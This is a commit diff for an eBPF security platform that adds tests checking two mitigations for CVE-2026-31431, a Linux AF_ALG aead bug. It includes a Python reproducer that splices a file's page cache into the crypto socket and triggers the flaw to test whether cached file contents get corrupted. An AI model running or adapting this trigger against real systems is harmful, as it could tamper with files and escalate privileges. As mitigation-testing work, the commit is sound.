Skip to content

eBPF-based security platform

testing: reproduce CVE-2026-31431 and test its mitigations

John Fastabendf13d9067ec5c
diff --git a/testing/functional/upatch/t3115-af-alg-block.sh b/testing/functional/upatch/t3115-af-alg-block.sh
new file mode 100755
index 00000000..25c0367a
--- /dev/null
+++ b/testing/functional/upatch/t3115-af-alg-block.sh
@@ -0,0 +1,67 @@
+#!/bin/sh
+# SPDX-License-Identifier: BSD-2-Clause
+# Copyright (c) 2026 Authors of shirudo
+#
+# t3115 -- the CVE-2026-31431 mitigation of upatches/kernel-cve, driven
+# by the shipped reproducer: the probe reaches the algif_aead path until
+# the mitigation is loaded, when an AF_ALG socket is refused, and reaches
+# it again once the mitigation is unloaded.
+
+cd "$(dirname "$0")/../.."
+. ./integration-lib.sh
+target_guard
+
+FIXTURES=${SHIRUDO_TEST_FIXTURES_DIR:?target fixture directory is not set}
+NAME=cve-2026-31431-af-alg-block
+LOAD="$FIXTURES/$NAME.upatch"
+UNLOAD="$FIXTURES/$NAME.unload.upatch"
+REPRO="$FIXTURES/cve-2026-31431-repro.py"
+PIN="/run/shirudo/bpffs/upatches/$NAME/link"
+
+restore() {
+ if [ -e "$PIN" ]; then
+ "$SHIRUDO_BIN" upatch unload "$UNLOAD" --no-precheck \
+ >/dev/null 2>&1 || true
+ fi
+ rm -f "/var/lib/shirudo/upatches/$NAME.upatch"
+}
+trap restore EXIT
+
+[ -s "$LOAD" ] || test_skip_all "missing af-alg-block fixture"
+[ -s "$UNLOAD" ] || test_skip_all "missing af-alg-block unload fixture"
+[ -s "$REPRO" ] || test_skip_all "missing CVE-2026-31431 reproducer"
+
+# The reproducer prints BROKEN, SAFE, BLOCKED or UNSUPPORTED. BLOCKED
+# is the mitigation refusing the AF_ALG socket; BROKEN and SAFE are
+# the exploit reaching the algif_aead decrypt without it; UNSUPPORTED is
+# a kernel with no AF_ALG aead interface to attack. The CI kernel enables
+# that interface (kernel-ci.conf), so a UNSUPPORTED result means this is
+# not that kernel and the test cannot exercise the path it is about.
+BEFORE=$(python3 "$REPRO" 2>/dev/null </dev/null)
+[ "$BEFORE" != UNSUPPORTED ] || \
+ test_skip_all "kernel has no AF_ALG aead interface for the reproducer"
+
+test_expect_success 'the reproducer reaches the algif_aead path before the load' '
+ [ "$BEFORE" = SAFE ] || [ "$BEFORE" = BROKEN ]
+'
+
+test_expect_success 'the mitigation loads' '
+ "$SHIRUDO_BIN" upatch load "$LOAD" --no-precheck >/dev/null 2>&1 &&
+ [ -e "$PIN" ]
+'
+
+test_expect_success 'the reproducer is blocked while the mitigation is loaded' '
+ [ "$(python3 "$REPRO" 2>/dev/null </dev/null)" = BLOCKED ]
+'
+
+test_expect_success 'a socket of another family is still created' '
+ python3 -c "import socket; socket.socket(socket.AF_UNIX, socket.SOCK_STREAM).close()"
+'
+
+test_expect_success 'the unload lets the reproducer reach the path again' '
+ "$SHIRUDO_BIN" upatch unload "$UNLOAD" --no-precheck >/dev/null 2>&1 &&
+ [ ! -e "$PIN" ] &&
+ [ "$(python3 "$REPRO" 2>/dev/null </dev/null)" = "$BEFORE" ]
+'
+
+test_done
diff --git a/testing/functional/upatch/t3116-alg-splice-block.sh b/testing/functional/upatch/t3116-alg-splice-block.sh
new file mode 100755
index 00000000..00bf680a
--- /dev/null
+++ b/testing/functional/upatch/t3116-alg-splice-block.sh
@@ -0,0 +1,62 @@
+#!/bin/sh
+# SPDX-License-Identifier: BSD-2-Clause
+# Copyright (c) 2026 Authors of shirudo
+#
+# t3116 -- the precise CVE-2026-31431 mitigation of upatches/kernel-cve.
+# It refuses a zero-copy splice into an AF_ALG socket, the vulnerability's
+# precondition, while leaving the copying sendmsg path working. The probe
+# issues a copying sendmsg before the splice, so SPLICE_BLOCKED proves the
+# copy was allowed and only the splice refused.
+
+cd "$(dirname "$0")/../.."
+. ./integration-lib.sh
+target_guard
+
+FIXTURES=${SHIRUDO_TEST_FIXTURES_DIR:?target fixture directory is not set}
+NAME=cve-2026-31431-alg-splice-block
+LOAD="$FIXTURES/$NAME.upatch"
+UNLOAD="$FIXTURES/$NAME.unload.upatch"
+PROBE="$FIXTURES/cve-2026-31431-splice-probe.py"
+PIN="/run/shirudo/bpffs/upatches/$NAME/link"
+
+restore() {
+ if [ -e "$PIN" ]; then
+ "$SHIRUDO_BIN" upatch unload "$UNLOAD" --no-precheck \
+ >/dev/null 2>&1 || true
+ fi
+ rm -f "/var/lib/shirudo/upatches/$NAME.upatch"
+}
+trap restore EXIT
+
+[ -s "$LOAD" ] || test_skip_all "missing alg-splice-block fixture"
+[ -s "$UNLOAD" ] || test_skip_all "missing alg-splice-block unload fixture"
+[ -s "$PROBE" ] || test_skip_all "missing CVE-2026-31431 splice probe"
+
+BEFORE=$(python3 "$PROBE" 2>/dev/null </dev/null)
+[ "$BEFORE" != UNSUPPORTED ] || \
+ test_skip_all "kernel has no AF_ALG aead interface for the probe"
+
+test_expect_success 'a zero-copy splice into AF_ALG is allowed before the load' '
+ [ "$BEFORE" = SPLICE_OK ]
+'
+
+test_expect_success 'the mitigation loads' '
+ "$SHIRUDO_BIN" upatch load "$LOAD" --no-precheck >/dev/null 2>&1 &&
+ [ -e "$PIN" ]
+'
+
+test_expect_success 'the splice is refused but the copying sendmsg is allowed' '
+ [ "$(python3 "$PROBE" 2>/dev/null </dev/null)" = SPLICE_BLOCKED ]
+'
+
+test_expect_success 'a socket of another family is unaffected' '
+ python3 -c "import socket; socket.socket(socket.AF_UNIX, socket.SOCK_STREAM).close()"
+'
+
+test_expect_success 'the unload lets the splice through again' '
+ "$SHIRUDO_BIN" upatch unload "$UNLOAD" --no-precheck >/dev/null 2>&1 &&
+ [ ! -e "$PIN" ] &&
+ [ "$(python3 "$PROBE" 2>/dev/null </dev/null)" = SPLICE_OK ]
+'
+
+test_done
diff --git a/testing/vm/build-bundle-payload.sh b/testing/vm/build-bundle-payload.sh
index be9594e3..3639663d 100755
--- a/testing/vm/build-bundle-payload.sh
+++ b/testing/vm/build-bundle-payload.sh
@@ -718,6 +718,42 @@ EOF
)
}
+build_af_alg_block_fixture()
+{
+ local source_dir="$REPO_ROOT/upatches/kernel-cve/sources/cve-2026-31431-crypto-algif-aead-copy-fail"
+ local keys_dir="$1"
+
+ (
+ cd "$REPO_ROOT"
+ "$REPO_ROOT/tools/shirudo-build/shirudo-build" \
+ "$source_dir/mitigation/cve-2026-31431-af-alg-block.bpf.c" \
+ -o "$TMP_DIR/fixtures/cve-2026-31431-af-alg-block.upatch" \
+ --name cve-2026-31431-af-alg-block \
+ --vmlinux "$REPO_ROOT/vendor/linux/vmlinux.h" \
+ --extra-cflags "-I$REPO_ROOT/vendor/libbpf" \
+ --key "$keys_dir/signing_key.pem" \
+ --cert "$keys_dir/cert.der"
+ )
+}
+
+build_alg_splice_block_fixture()
+{
+ local source_dir="$REPO_ROOT/upatches/kernel-cve/sources/cve-2026-31431-crypto-algif-aead-copy-fail"
+ local keys_dir="$1"
+
+ (
+ cd "$REPO_ROOT"
+ "$REPO_ROOT/tools/shirudo-build/shirudo-build" \
+ "$source_dir/mitigation/cve-2026-31431-alg-splice-block.bpf.c" \
+ -o "$TMP_DIR/fixtures/cve-2026-31431-alg-splice-block.upatch" \
+ --name cve-2026-31431-alg-splice-block \
+ --vmlinux "$REPO_ROOT/vendor/linux/vmlinux.h" \
+ --extra-cflags "-I$REPO_ROOT/vendor/libbpf" \
+ --key "$keys_dir/signing_key.pem" \
+ --cert "$keys_dir/cert.der"
+ )
+}
+
build_policy_labels_fixture()
{
local source_dir="$FIXTURE_WORK/policy-labels"
@@ -812,6 +848,8 @@ queue_fixture build_fixture basic.bpf.c shirudo-test-own-keyring "$FIXTURE_WORK/
queue_fixture build_policy_labels_fixture
queue_fixture build_policy_exec_graph_fixture
queue_fixture build_obs_fixture "$FIXTURE_WORK/trusted"
+queue_fixture build_af_alg_block_fixture "$FIXTURE_WORK/trusted"
+queue_fixture build_alg_splice_block_fixture "$FIXTURE_WORK/trusted"
queue_fixture build_java_fixture
wait_fixture_jobs
@@ -860,6 +898,12 @@ serialized_metric_payload="$($REPO_ROOT/shirudo upatch info \
arena_tree_payload="$($REPO_ROOT/shirudo upatch info \
"$TMP_DIR/fixtures/shirudo-test-arena-tree.upatch" --json |
python3 -c 'import json,sys; print(json.load(sys.stdin)["payload_sha256"])')"
+af_alg_block_payload="$($REPO_ROOT/shirudo upatch info \
+ "$TMP_DIR/fixtures/cve-2026-31431-af-alg-block.upatch" --json |
+ python3 -c 'import json,sys; print(json.load(sys.stdin)["payload_sha256"])')"
+alg_splice_block_payload="$($REPO_ROOT/shirudo upatch info \
+ "$TMP_DIR/fixtures/cve-2026-31431-alg-splice-block.upatch" --json |
+ python3 -c 'import json,sys; print(json.load(sys.stdin)["payload_sha256"])')"
observability_payload="$($REPO_ROOT/shirudo upatch info \
"$TMP_DIR/fixtures/kernel-obs.upatch" --json |
python3 -c 'import json,sys; print(json.load(sys.stdin)["payload_sha256"])')"
@@ -915,6 +959,8 @@ shirudo-test-otel-backend $otel_backend_payload shirudo-test-otel-backend.unload
shirudo-test-serialized-metric $serialized_metric_payload shirudo-test-serialized-metric.unload.upatch
shirudo-test-arena-tree $arena_tree_payload shirudo-test-arena-tree.unload.upatch
kernel-obs $observability_payload kernel-obs.unload.upatch
+cve-2026-31431-af-alg-block $af_alg_block_payload cve-2026-31431-af-alg-block.unload.upatch
+cve-2026-31431-alg-splice-block $alg_splice_block_payload cve-2026-31431-alg-splice-block.unload.upatch
kernel-obs $observability_anomaly_payload kernel-obs-cred-anomaly.unload.upatch
shirudo-test-uprobe-multi $uprobe_payload shirudo-test-uprobe-multi.unload.upatch
shirudo-test-uretprobe-multi $uretprobe_payload shirudo-test-uretprobe-multi.unload.upatch
@@ -943,6 +989,10 @@ build_tree_segments_registry
mv /tmp/shirudo-test-uprobe-target \
"$TMP_DIR/fixtures/shirudo-test-uprobe-target"
+cp "$REPO_ROOT/upatches/kernel-cve/sources/cve-2026-31431-crypto-algif-aead-copy-fail/reproducer/cve-2026-31431-repro.py" \
+ "$TMP_DIR/fixtures/cve-2026-31431-repro.py"
+cp "$REPO_ROOT/upatches/kernel-cve/sources/cve-2026-31431-crypto-algif-aead-copy-fail/reproducer/cve-2026-31431-splice-probe.py" \
+ "$TMP_DIR/fixtures/cve-2026-31431-splice-probe.py"
cp "$FIXTURE_WORK/trusted/cert.der" "$TMP_DIR/fixtures/cert.der"
cp "$FIXTURE_WORK/own/cert.der" "$TMP_DIR/fixtures/own.der"
# The own certificate joins the enrolled set vouched for by the trusted
diff --git a/testing/vm/kernel-artifact.sh b/testing/vm/kernel-artifact.sh
index 1c162fd6..d3d4befd 100755
--- a/testing/vm/kernel-artifact.sh
+++ b/testing/vm/kernel-artifact.sh
@@ -25,7 +25,7 @@ set -eu
# The run every trigger of the CI suite tests on, so that a new build of
# the kernel does not change what a series is tested on.
-PINNED_RUN_ID=44367017434
+PINNED_RUN_ID=45057179917
ARTIFACT=kernel-packages-x86-64-ci
REPOSITORY=shirudo-dev/kernel
diff --git a/upatches/kernel-cve/sources/cve-2026-31431-crypto-algif-aead-copy-fail/reproducer/cve-2026-31431-repro.py b/upatches/kernel-cve/sources/cve-2026-31431-crypto-algif-aead-copy-fail/reproducer/cve-2026-31431-repro.py
new file mode 100755
index 00000000..bca05188
--- /dev/null
+++ b/upatches/kernel-cve/sources/cve-2026-31431-crypto-algif-aead-copy-fail/reproducer/cve-2026-31431-repro.py
@@ -0,0 +1,112 @@
+#!/usr/bin/env python3
+# SPDX-License-Identifier: GPL-2.0 OR BSD-2-Clause
+# Copyright (c) 2026 Authors of shirudo
+#
+# CVE-2026-31431 test that the fix actually addresses issue.
+#
+# The algif_aead copy-failure path, on a failed decrypt, writes back into
+# a source page it does not own. This splices a regular file's page cache
+# through a pipe into an AF_ALG aead socket, triggers the failing decrypt,
+# and then checks whether the page cache was corrupted. It prints exactly
+# one word and exits 0:
+#
+# BROKEN the page cache was modified: the bugfix did not work
+# SAFE the decrypt failed and left the page cache intact
+# BLOCKED the mitigation works AF_ALG socket was refused with EPERM
+# UNSUPPORTED can not test the fix here the kernel does not support it.
+#
+# A mitigation that neutralises the bug without removing AF_ALG turns
+# BROKEN into SAFE; the socket-blocking mitigation of this directory
+# turns it into BLOCKED. Either way the page cache is no longer corrupted.
+
+import os
+import socket
+import struct
+import tempfile
+
+AF_ALG = getattr(socket, "AF_ALG", 38)
+SOL_ALG = 279
+ALG_SET_KEY = 1
+ALG_SET_IV = 2
+ALG_SET_OP = 3
+ALG_SET_AEAD_ASSOCLEN = 4
+ALG_SET_AEAD_AUTHSIZE = 5
+ALG_OP_DECRYPT = 0
+MARKER = b"AAAA"
+
+
+def authenc_key(authkey, enckey):
+ # struct crypto_authenc_key_param wrapped in an rtattr, then the keys.
+ param = struct.pack(">I", len(enckey))
+ rta_len = 4 + len(param)
+ rtattr = struct.pack("HH", rta_len, 1) + param
+ rtattr += b"\x00" * ((-rta_len) % 4)
+ return rtattr + authkey + enckey
+
+
+def unrestrict():
+ # Recent kernels gate AF_ALG aead names behind crypto.af_alg_restrict.
+ try:
+ with open("/proc/sys/crypto/af_alg_restrict", "w") as f:
+ f.write("0")
+ except OSError:
+ pass
+
+
+def bugtest(fd):
+ alg = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
+ with alg:
+ alg.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
+ alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 16)
+ alg.setsockopt(SOL_ALG, ALG_SET_KEY,
+ authenc_key(b"\x00" * 32, b"\x00" * 16))
+ op, _ = alg.accept()
+ with op:
+ r_pipe, w_pipe = os.pipe()
+ try:
+ os.splice(fd, w_pipe, 4096, offset_src=0)
+ aad = b"\x00\x00\x00\x00" + MARKER + b"\x00" * 8
+ op.sendmsg(
+ [aad],
+ [(SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
+ (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16),
+ (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", len(aad)))],
+ socket.MSG_MORE,
+ )
+ os.splice(r_pipe, op.fileno(), 32)
+ try:
+ op.recv(4096)
+ except OSError:
+ pass
+ finally:
+ os.close(r_pipe)
+ os.close(w_pipe)
+
+
+def probe():
+ unrestrict()
+ try:
+ socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0).close()
+ except PermissionError:
+ return "BLOCKED"
+ except OSError:
+ return "UNSUPPORTED"
+ with tempfile.NamedTemporaryFile() as tmp:
+ tmp.write(b"\x00" * 4096)
+ tmp.flush()
+ fd = os.open(tmp.name, os.O_RDONLY)
+ try:
+ os.pread(fd, 4096, 0)
+ try:
+ bugtest(fd)
+ except PermissionError:
+ return "BLOCKED"
+ except (OSError, AttributeError):
+ return "UNSUPPORTED"
+ return "BROKEN" if MARKER in os.pread(fd, 64, 0) else "SAFE"
+ finally:
+ os.close(fd)
+
+
+if __name__ == "__main__":
+ print(probe())
diff --git a/upatches/kernel-cve/sources/cve-2026-31431-crypto-algif-aead-copy-fail/reproducer/cve-2026-31431-splice-probe.py b/upatches/kernel-cve/sources/cve-2026-31431-crypto-algif-aead-copy-fail/reproducer/cve-2026-31431-splice-probe.py
new file mode 100755
index 00000000..3c669929
--- /dev/null
+++ b/upatches/kernel-cve/sources/cve-2026-31431-crypto-algif-aead-copy-fail/reproducer/cve-2026-31431-splice-probe.py
@@ -0,0 +1,101 @@
+#!/usr/bin/env python3
+# SPDX-License-Identifier: GPL-2.0 OR BSD-2-Clause
+# Copyright (c) 2026 Authors of shirudo
+#
+# CVE-2026-31431 precise-mitigation probe.
+#
+# On one AF_ALG aead socket it issues an ordinary copying sendmsg and then
+# a zero-copy splice, so the word it prints says which the kernel refused:
+#
+# SPLICE_OK the copying sendmsg and the splice were both allowed
+# SPLICE_BLOCKED the copying sendmsg was allowed, the splice refused
+# COPY_BLOCKED even the copying sendmsg was refused (too broad)
+# UNSUPPORTED no usable AF_ALG aead interface to probe
+#
+# The precise shield turns SPLICE_OK into SPLICE_BLOCKED while leaving the
+# copying path working; a socket_create block would give UNSUPPORTED.
+
+import os
+import socket
+import struct
+
+AF_ALG = getattr(socket, "AF_ALG", 38)
+SOL_ALG = 279
+ALG_SET_KEY = 1
+ALG_SET_IV = 2
+ALG_SET_OP = 3
+ALG_SET_AEAD_ASSOCLEN = 4
+ALG_SET_AEAD_AUTHSIZE = 5
+ALG_OP_DECRYPT = 0
+
+
+def authenc_key(authkey, enckey):
+ # struct crypto_authenc_key_param wrapped in an rtattr, then the keys.
+ param = struct.pack(">I", len(enckey))
+ rta_len = 4 + len(param)
+ rtattr = struct.pack("HH", rta_len, 1) + param
+ rtattr += b"\x00" * ((-rta_len) % 4)
+ return rtattr + authkey + enckey
+
+
+def unrestrict():
+ # Recent kernels gate AF_ALG aead names behind crypto.af_alg_restrict.
+ try:
+ with open("/proc/sys/crypto/af_alg_restrict", "w") as f:
+ f.write("0")
+ except OSError:
+ pass
+
+
+def main():
+ unrestrict()
+ try:
+ alg = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0)
+ except OSError:
+ print("UNSUPPORTED")
+ return
+ with alg:
+ try:
+ alg.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
+ alg.setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, None, 16)
+ alg.setsockopt(SOL_ALG, ALG_SET_KEY,
+ authenc_key(b"\x00" * 32, b"\x00" * 16))
+ op, _ = alg.accept()
+ except OSError:
+ print("UNSUPPORTED")
+ return
+ with op:
+ aad = b"\x00" * 16
+ try:
+ op.sendmsg(
+ [aad],
+ [(SOL_ALG, ALG_SET_OP, struct.pack("I", ALG_OP_DECRYPT)),
+ (SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16),
+ (SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", len(aad)))],
+ socket.MSG_MORE,
+ )
+ except PermissionError:
+ print("COPY_BLOCKED")
+ return
+ except OSError:
+ print("UNSUPPORTED")
+ return
+ r_pipe, w_pipe = os.pipe()
+ try:
+ os.write(w_pipe, b"\x00" * 32)
+ try:
+ os.splice(r_pipe, op.fileno(), 32)
+ except PermissionError:
+ print("SPLICE_BLOCKED")
+ return
+ except (OSError, AttributeError):
+ print("UNSUPPORTED")
+ return
+ print("SPLICE_OK")
+ finally:
+ os.close(r_pipe)
+ os.close(w_pipe)
+
+
+if __name__ == "__main__":
+ main()